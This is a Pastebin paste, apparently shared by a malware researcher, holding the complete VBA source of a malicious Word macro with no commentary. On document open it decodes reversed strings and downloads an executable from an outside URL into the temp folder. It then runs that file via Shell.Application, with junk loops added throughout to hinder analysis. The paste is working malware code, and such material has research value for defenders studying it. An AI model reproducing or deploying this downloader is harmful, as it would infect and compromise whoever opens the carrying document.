Advertisement
dynamoo

Malicious Word macro

Jan 23rd, 2015
480
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Private Const n2EsR = "exe.fsdGHi\"
  10. Private Const QVWdP = "PMET"
  11. Private Const URkPCd0U4a = "exe.nib/sj/or.emoh.uratilimg.www//:ptth"
  12. Private Const ZCmjC6En6E = n2EsR
  13. Private Const U0G5AN6C1IZ = QVWdP
  14. Private Const AK2awpFLc = "noitacilppa.llehS"
  15. Private Const l4qPvk = ""
  16. Private Const VTtsivoEya = "TEG"
  17. Private Const I7Av = "PTTHLMX.2LMXSM"
  18.  
  19. Sub dsfsdwer()
  20. werwersfdf
  21. Dim LyCcPNHa As Integer
  22. LyCcPNHa = 667
  23. Do While LyCcPNHa < 667 + 10
  24. LyCcPNHa = LyCcPNHa + 1: DoEvents
  25. Loop
  26. Dim uOrwJGp As Integer
  27. uOrwJGp = 1231
  28. Do While uOrwJGp < 1231 + 10
  29. uOrwJGp = uOrwJGp + 1: DoEvents
  30. Loop
  31. End Sub
  32. Sub AutoOpen()
  33.     dsfsdwer
  34. Dim EUYbSrUzjfTo As Integer
  35. For EUYbSrUzjfTo = 973 To 973 + 5
  36. DoEvents
  37. Next EUYbSrUzjfTo
  38. Dim uBgssHL As Integer
  39. uBgssHL = 1286
  40. Do While uBgssHL < 1286 + 10
  41. uBgssHL = uBgssHL + 1: DoEvents
  42. Loop
  43. End Sub
  44. Sub Workbook_Open()
  45.     dsfsdwer
  46. Dim VRRQUGz As Integer
  47. VRRQUGz = 141
  48. Do While VRRQUGz < 141 + 10
  49. VRRQUGz = VRRQUGz + 1: DoEvents
  50. Loop
  51. Dim UdSyHHGLipw As Integer
  52. For UdSyHHGLipw = 1811 To 1811 + 5
  53. DoEvents
  54. Next UdSyHHGLipw
  55. End Sub
  56. Function FRkfhy(ByVal vWebFile As String, ByVal pNJKBjkdsf As String) As Boolean
  57.     Dim dJSAYGtdSR As Long, GYUbjsdf As Long, oJhuidsf() As Byte
  58. Dim rfdQp As Integer
  59. rfdQp = 1636
  60. Do While rfdQp < 1636 + 10
  61. rfdQp = rfdQp + 1: DoEvents
  62. Loop
  63. Dim RfSFgCBd As Integer
  64. For RfSFgCBd = 1319 To 1319 + 5
  65. DoEvents
  66. Next RfSFgCBd
  67.      
  68. Dim aIwRH As Integer
  69. For aIwRH = 586 To 586 + 5
  70. DoEvents
  71. Next aIwRH
  72. Dim RxGGF As Integer
  73. For RxGGF = 1168 To 1168 + 5
  74. DoEvents
  75. Next RxGGF
  76.  
  77. Dim sDxPyUEPVRd As Integer
  78. For sDxPyUEPVRd = 1313 To 1313 + 5
  79. DoEvents
  80. Next sDxPyUEPVRd
  81. Dim kCzQsQQ As Integer
  82. For kCzQsQQ = 395 To 395 + 5
  83. DoEvents
  84. Next kCzQsQQ
  85.     Set NUIHusdfsd = CreateObject(SrpQPF(I7Av))
  86. Dim EQwQic As Integer
  87. EQwQic = 512
  88. Do While EQwQic < 512 + 10
  89. EQwQic = EQwQic + 1: DoEvents
  90. Loop
  91. Dim YuGUCTFJYVPifB As Integer
  92. YuGUCTFJYVPifB = 2060
  93. Do While YuGUCTFJYVPifB < 2060 + 10
  94. YuGUCTFJYVPifB = YuGUCTFJYVPifB + 1: DoEvents
  95. Loop
  96.     NUIHusdfsd.Open SrpQPF(VTtsivoEya), vWebFile, False
  97. Dim bTEmoIlqDA As Integer
  98. For bTEmoIlqDA = 942 To 942 + 5
  99. DoEvents
  100. Next bTEmoIlqDA
  101. Dim iZPdoQVJvQt As Integer
  102. iZPdoQVJvQt = 1413
  103. Do While iZPdoQVJvQt < 1413 + 10
  104. iZPdoQVJvQt = iZPdoQVJvQt + 1: DoEvents
  105. Loop
  106.     NUIHusdfsd.Send
  107. Dim pmUiH As Integer
  108. pmUiH = 324
  109. Do While pmUiH < 324 + 10
  110. pmUiH = pmUiH + 1: DoEvents
  111. Loop
  112. Dim zTJAOZHHuh As Integer
  113. zTJAOZHHuh = 2123
  114. Do While zTJAOZHHuh < 2123 + 10
  115. zTJAOZHHuh = zTJAOZHHuh + 1: DoEvents
  116. Loop
  117.      
  118. Dim HkoCyhv As Integer
  119. For HkoCyhv = 316 To 316 + 5
  120. DoEvents
  121. Next HkoCyhv
  122. Dim hQNcmUUHuU As Integer
  123. hQNcmUUHuU = 371
  124. Do While hQNcmUUHuU < 371 + 10
  125. hQNcmUUHuU = hQNcmUUHuU + 1: DoEvents
  126. Loop
  127.  
  128. Dim ADGyYm As Integer
  129. For ADGyYm = 1918 To 1918 + 5
  130. DoEvents
  131. Next ADGyYm
  132. Dim mPueaOjaPeo As Integer
  133. mPueaOjaPeo = 1860
  134. Do While mPueaOjaPeo < 1860 + 10
  135. mPueaOjaPeo = mPueaOjaPeo + 1: DoEvents
  136. Loop
  137.      
  138. Dim UyLKbfhZyNF As Integer
  139. UyLKbfhZyNF = 551
  140. Do While UyLKbfhZyNF < 551 + 10
  141. UyLKbfhZyNF = UyLKbfhZyNF + 1: DoEvents
  142. Loop
  143. Dim bVQUaKDK As Integer
  144. bVQUaKDK = 23
  145. Do While bVQUaKDK < 23 + 10
  146. bVQUaKDK = bVQUaKDK + 1: DoEvents
  147. Loop
  148.     oJhuidsf = NUIHusdfsd.responseBody
  149. Dim JSrmOQxRQfUA As Integer
  150. JSrmOQxRQfUA = 461
  151. Do While JSrmOQxRQfUA < 461 + 10
  152. JSrmOQxRQfUA = JSrmOQxRQfUA + 1: DoEvents
  153. Loop
  154. Dim AkuAwIJfgpNu As Integer
  155. For AkuAwIJfgpNu = 977 To 977 + 5
  156. DoEvents
  157. Next AkuAwIJfgpNu
  158.      
  159. Dim QpmIf As Integer
  160. QpmIf = 336
  161. Do While QpmIf < 336 + 10
  162. QpmIf = QpmIf + 1: DoEvents
  163. Loop
  164. Dim FgpBexcAS As Integer
  165. FgpBexcAS = 83
  166. Do While FgpBexcAS < 83 + 10
  167. FgpBexcAS = FgpBexcAS + 1: DoEvents
  168. Loop
  169.  
  170. Dim SEIjJUOhe As Integer
  171. SEIjJUOhe = 253
  172. Do While SEIjJUOhe < 253 + 10
  173. SEIjJUOhe = SEIjJUOhe + 1: DoEvents
  174. Loop
  175. Dim SQynHyp As Integer
  176. SQynHyp = 1353
  177. Do While SQynHyp < 1353 + 10
  178. SQynHyp = SQynHyp + 1: DoEvents
  179. Loop
  180.     GYUbjsdf = FreeFile
  181. Dim kCQqkaFOPNSD As Integer
  182. For kCQqkaFOPNSD = 1839 To 1839 + 5
  183. DoEvents
  184. Next kCQqkaFOPNSD
  185. Dim pAFCNftBC As Integer
  186. For pAFCNftBC = 2150 To 2150 + 5
  187. DoEvents
  188. Next pAFCNftBC
  189.     If Dir(pNJKBjkdsf) <> "" Then Kill pNJKBjkdsf
  190. Dim uLxBbPMGZVt As Integer
  191. For uLxBbPMGZVt = 1955 To 1955 + 5
  192. DoEvents
  193. Next uLxBbPMGZVt
  194. Dim fHMaQFSssT As Integer
  195. fHMaQFSssT = 764
  196. Do While fHMaQFSssT < 764 + 10
  197. fHMaQFSssT = fHMaQFSssT + 1: DoEvents
  198. Loop
  199.     Open pNJKBjkdsf For Binary Access Write As #GYUbjsdf
  200. Dim orjIlP As Integer
  201. orjIlP = 156
  202. Do While orjIlP < 156 + 10
  203. orjIlP = orjIlP + 1: DoEvents
  204. Loop
  205. Dim txArQ As Integer
  206. For txArQ = 2127 To 2127 + 5
  207. DoEvents
  208. Next txArQ
  209.     Put #GYUbjsdf, , oJhuidsf
  210. Dim OGgInYSHcS As Integer
  211. OGgInYSHcS = 2321
  212. Do While OGgInYSHcS < 2321 + 10
  213. OGgInYSHcS = OGgInYSHcS + 1: DoEvents
  214. Loop
  215. Dim JidFHoINV As Integer
  216. JidFHoINV = 100
  217. Do While JidFHoINV < 100 + 10
  218. JidFHoINV = JidFHoINV + 1: DoEvents
  219. Loop
  220.     Close #GYUbjsdf
  221. Dim CfvciBJyfaaZ As Integer
  222. For CfvciBJyfaaZ = 443 To 443 + 5
  223. DoEvents
  224. Next CfvciBJyfaaZ
  225. Dim GnHMUKqzz As Integer
  226. For GnHMUKqzz = 2113 To 2113 + 5
  227. DoEvents
  228. Next GnHMUKqzz
  229.  
  230. Dim RPmVgmiuL As Integer
  231. RPmVgmiuL = 1353
  232. Do While RPmVgmiuL < 1353 + 10
  233. RPmVgmiuL = RPmVgmiuL + 1: DoEvents
  234. Loop
  235. Dim iviUvRQtbse As Integer
  236. iviUvRQtbse = 19
  237. Do While iviUvRQtbse < 19 + 10
  238. iviUvRQtbse = iviUvRQtbse + 1: DoEvents
  239. Loop
  240.     Set NUIHusdfsd = Nothing
  241. Dim DrrRbnPjO As Integer
  242. DrrRbnPjO = 915
  243. Do While DrrRbnPjO < 915 + 10
  244. DrrRbnPjO = DrrRbnPjO + 1: DoEvents
  245. Loop
  246. Dim jcMuwQtyLVrE As Integer
  247. For jcMuwQtyLVrE = 2400 To 2400 + 5
  248. DoEvents
  249. Next jcMuwQtyLVrE
  250.     Dim pHUIisdf As Object
  251. Dim MPHgJomTIdSJ As Integer
  252. MPHgJomTIdSJ = 301
  253. Do While MPHgJomTIdSJ < 301 + 10
  254. MPHgJomTIdSJ = MPHgJomTIdSJ + 1: DoEvents
  255. Loop
  256. Dim eVvKC As Integer
  257. eVvKC = 1379
  258. Do While eVvKC < 1379 + 10
  259. eVvKC = eVvKC + 1: DoEvents
  260. Loop
  261.     Set pHUIisdf = CreateObject(SrpQPF(AK2awpFLc))
  262. Dim dtjme As Integer
  263. dtjme = 330
  264. Do While dtjme < 330 + 10
  265. dtjme = dtjme + 1: DoEvents
  266. Loop
  267. Dim sCYlZ As Integer
  268. For sCYlZ = 317 To 317 + 5
  269. DoEvents
  270. Next sCYlZ
  271.     pHUIisdf.Open Environ(SrpQPF(U0G5AN6C1IZ)) & SrpQPF(ZCmjC6En6E)
  272. Dim BaDigNCQNE As Integer
  273. BaDigNCQNE = 1956
  274. Do While BaDigNCQNE < 1956 + 10
  275. BaDigNCQNE = BaDigNCQNE + 1: DoEvents
  276. Loop
  277. Dim xhORmOShr As Integer
  278. For xhORmOShr = 947 To 947 + 5
  279. DoEvents
  280. Next xhORmOShr
  281.     End Function
  282.  
  283. Sub werwersfdf()
  284. Dim qvgnuKl As Integer
  285. For qvgnuKl = 172 To 172 + 5
  286. DoEvents
  287. Next qvgnuKl
  288. Dim hQyBVyC As Integer
  289. hQyBVyC = 2326
  290. Do While hQyBVyC < 2326 + 10
  291. hQyBVyC = hQyBVyC + 1: DoEvents
  292. Loop
  293. HUIBuerwfds = SrpQPF(URkPCd0U4a)
  294. Dim LlNsqYMhYOcn As Integer
  295. LlNsqYMhYOcn = 2253
  296. Do While LlNsqYMhYOcn < 2253 + 10
  297. LlNsqYMhYOcn = LlNsqYMhYOcn + 1: DoEvents
  298. Loop
  299. Dim vQeQDe As Integer
  300. vQeQDe = 108
  301. Do While vQeQDe < 108 + 10
  302. vQeQDe = vQeQDe + 1: DoEvents
  303. Loop
  304.      FRkfhy HUIBuerwfds, Environ(SrpQPF(U0G5AN6C1IZ)) & SrpQPF(ZCmjC6En6E)
  305. Dim dTisbbN As Integer
  306. dTisbbN = 778
  307. Do While dTisbbN < 778 + 10
  308. dTisbbN = dTisbbN + 1: DoEvents
  309. Loop
  310. Dim aBYVygx As Integer
  311. aBYVygx = 770
  312. Do While aBYVygx < 770 + 10
  313. aBYVygx = aBYVygx + 1: DoEvents
  314. Loop
  315.  
  316. Dim hjbAdHF As Integer
  317. For hjbAdHF = 345 To 345 + 5
  318. DoEvents
  319. Next hjbAdHF
  320. Dim vowanmCGIA As Integer
  321. vowanmCGIA = 1191
  322. Do While vowanmCGIA < 1191 + 10
  323. vowanmCGIA = vowanmCGIA + 1: DoEvents
  324. Loop
  325. End Sub
  326. Function SrpQPF(sstring As String) As String
  327.  
  328. Dim aKRZpPPfUYPo As Integer
  329. aKRZpPPfUYPo = 117
  330. Do While aKRZpPPfUYPo < 117 + 10
  331. aKRZpPPfUYPo = aKRZpPPfUYPo + 1: DoEvents
  332. Loop
  333. Dim JSdYBQjDQQ As Integer
  334. For JSdYBQjDQQ = 1407 To 1407 + 5
  335. DoEvents
  336. Next JSdYBQjDQQ
  337. Dim WF5OIEHGvMF As Long
  338. Dim eEPJcLiRd As Integer
  339. For eEPJcLiRd = 647 To 647 + 5
  340. DoEvents
  341. Next eEPJcLiRd
  342. Dim osRFDxPMj As Integer
  343. For osRFDxPMj = 2134 To 2134 + 5
  344. DoEvents
  345. Next osRFDxPMj
  346. For WF5OIEHGvMF = 0 To Len(sstring) - 1
  347. Dim yjQSnPUifN As Integer
  348. For yjQSnPUifN = 1763 To 1763 + 5
  349. DoEvents
  350. Next yjQSnPUifN
  351. Dim ilogEiMxshB As Integer
  352. For ilogEiMxshB = 137 To 137 + 5
  353. DoEvents
  354. Next ilogEiMxshB
  355. If Len(sstring) > 0 Then
  356. Dim SqwEivuKOQI As Integer
  357. SqwEivuKOQI = 1663
  358. Do While SqwEivuKOQI < 1663 + 10
  359. SqwEivuKOQI = SqwEivuKOQI + 1: DoEvents
  360. Loop
  361. Dim LELqQ As Integer
  362. LELqQ = 1374
  363. Do While LELqQ < 1374 + 10
  364. LELqQ = LELqQ + 1: DoEvents
  365. Loop
  366.  SrpQPF = SrpQPF & Right(sstring, 1)
  367. Dim GeZCDkEJ As Integer
  368. GeZCDkEJ = 1490
  369. Do While GeZCDkEJ < 1490 + 10
  370. GeZCDkEJ = GeZCDkEJ + 1: DoEvents
  371. Loop
  372. Dim OyIOKQo As Integer
  373. For OyIOKQo = 861 To 861 + 5
  374. DoEvents
  375. Next OyIOKQo
  376. sstring = Left(sstring, Len(sstring) - 1)
  377. Dim gHedEmDp As Integer
  378. gHedEmDp = 1946
  379. Do While gHedEmDp < 1946 + 10
  380. gHedEmDp = gHedEmDp + 1: DoEvents
  381. Loop
  382. Dim IQeFaE As Integer
  383. For IQeFaE = 1438 To 1438 + 5
  384. DoEvents
  385. Next IQeFaE
  386. End If
  387. Dim FeVReu As Integer
  388. FeVReu = 1380
  389. Do While FeVReu < 1380 + 10
  390. FeVReu = FeVReu + 1: DoEvents
  391. Loop
  392. Dim IbYvfpvrDTU As Integer
  393. IbYvfpvrDTU = 1687
  394. Do While IbYvfpvrDTU < 1687 + 10
  395. IbYvfpvrDTU = IbYvfpvrDTU + 1: DoEvents
  396. Loop
  397. Next WF5OIEHGvMF
  398. Dim vQEVHLmM As Integer
  399. For vQEVHLmM = 2358 To 2358 + 5
  400. DoEvents
  401. Next vQEVHLmM
  402. Dim iBhFQjQUOh As Integer
  403. For iBhFQjQUOh = 1573 To 1573 + 5
  404. DoEvents
  405. Next iBhFQjQUOh
  406. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement